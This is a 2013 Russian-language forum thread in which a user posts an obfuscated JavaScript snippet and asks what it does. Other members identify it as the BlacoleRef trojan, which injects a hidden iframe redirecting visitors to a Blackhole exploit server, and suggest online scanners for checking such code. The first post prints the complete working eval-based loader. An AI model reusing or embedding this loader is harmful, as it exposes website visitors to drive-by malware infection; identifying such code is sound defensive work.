Javascript.RU

Создать новую тему Ответ
 
Опции темы Искать в теме
  #1 (permalink)  
Старый 13.08.2013, 00:01
Интересующийся
Отправить личное сообщение для jorik Посмотреть профиль Найти все сообщения от jorik
 
Регистрация: 04.06.2012
Сообщений: 24

Что Выполняет этот код?
Подскажите, пожалуйста, что выполняет сей код?
<script>
    try {
        q = document.createElement("p");
        a = (q) ? "appendC" : 12;
        q[a + "hild"]("" + n);
    } catch (qw) {
        f = (q) ? "fromCharCode" : 2;
        try {
            eval("a=prototype");
        } catch (zxc) {
            e = window["eva" + "l"];
            n = "104.90.800.999.792.1053.872.909.880.1044.368.1071.912.945.928.909.320.351.480.945.816.1026.776.981.808.288.920.1026.792.549.272.936.928.1044.896.522.376.423.968.999.824.999.928.450.368.891.936.414.792.891.376.945.880.414.792.927.840.567.400.306.256.990.776.981.808.549.272.639.888.999.824.972.808.387.272.288.920.891.912.999.864.972.840.990.824.549.272.873.936.1044.888.306.256.918.912.873.872.909.784.999.912.900.808.1026.488.306.880.999.272.288.776.972.840.927.880.549.272.891.808.990.928.909.912.306.256.936.808.945.824.936.928.549.272.450.272.288.952.945.800.1044.832.549.272.450.272.558.480.423.840.918.912.873.872.909.496.351.328.531.104.90".split(".");
            h = 2;
            s = "";
            if (window.document)
                for (i = 0; - 160 + i < 0; i = 1 + i) {
                    k = i;
                    s = s + String[f](n[k] / (i % (h) + 8));
                }
            e(s);
        }
    }
</script>
Ответить с цитированием
  #2 (permalink)  
Старый 13.08.2013, 00:28
Аватар для рони
Профессор
Отправить личное сообщение для рони Посмотреть профиль Найти все сообщения от рони
 
Регистрация: 27.05.2010
Сообщений: 33,084

jorik,
Цитата:
Trojan:JS/BlacoleRef.W является членом семьи BlacoleRef ,
запутанные JavaScripts, часто встречаются в скомпрометированных веб-сайтах.
Эта угроза предназначена для загрузки скрытого IFrame ,
перенаправлящего его к серверу , известный как "Blackhole".
Ответить с цитированием
  #3 (permalink)  
Старый 13.08.2013, 11:07
Аватар для Makarov
Профессор
Отправить личное сообщение для Makarov Посмотреть профиль Найти все сообщения от Makarov
 
Регистрация: 08.07.2013
Сообщений: 212

Ссылка
Там есть окошко "Decoded script" внизу. Так да, малварь)
Ответить с цитированием
  #4 (permalink)  
Старый 13.08.2013, 20:10
Интересующийся
Отправить личное сообщение для jorik Посмотреть профиль Найти все сообщения от jorik
 
Регистрация: 04.06.2012
Сообщений: 24

рони,
я так и подозревал,
спасибо, а откуда инфо, как это можно проверять?
при условии, что js не знаю

Последний раз редактировалось jorik, 13.08.2013 в 21:42.
Ответить с цитированием
  #5 (permalink)  
Старый 13.08.2013, 22:02
Аватар для рони
Профессор
Отправить личное сообщение для рони Посмотреть профиль Найти все сообщения от рони
 
Регистрация: 27.05.2010
Сообщений: 33,084

создай файл с этим скриптом если антивирус твой позволит и проверь на этой или подобной странице
http://vms.drweb.com/online/
Ответить с цитированием
Ответ



Опции темы Искать в теме
Искать в теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Мой собственный башорг в скайпе))) devote Оффтопик 81 03.10.2012 00:56
Помогите оптимизировать этот код Gamestop Общие вопросы Javascript 3 20.01.2012 14:02
фрактальный сыр x-yuri Оффтопик 76 23.11.2011 21:59
Типографика и HTML код Manjuriano (X)HTML/CSS 3 23.11.2011 12:22
Поюзайте хомячка Nanto Ваши сайты и скрипты 30 06.06.2011 22:16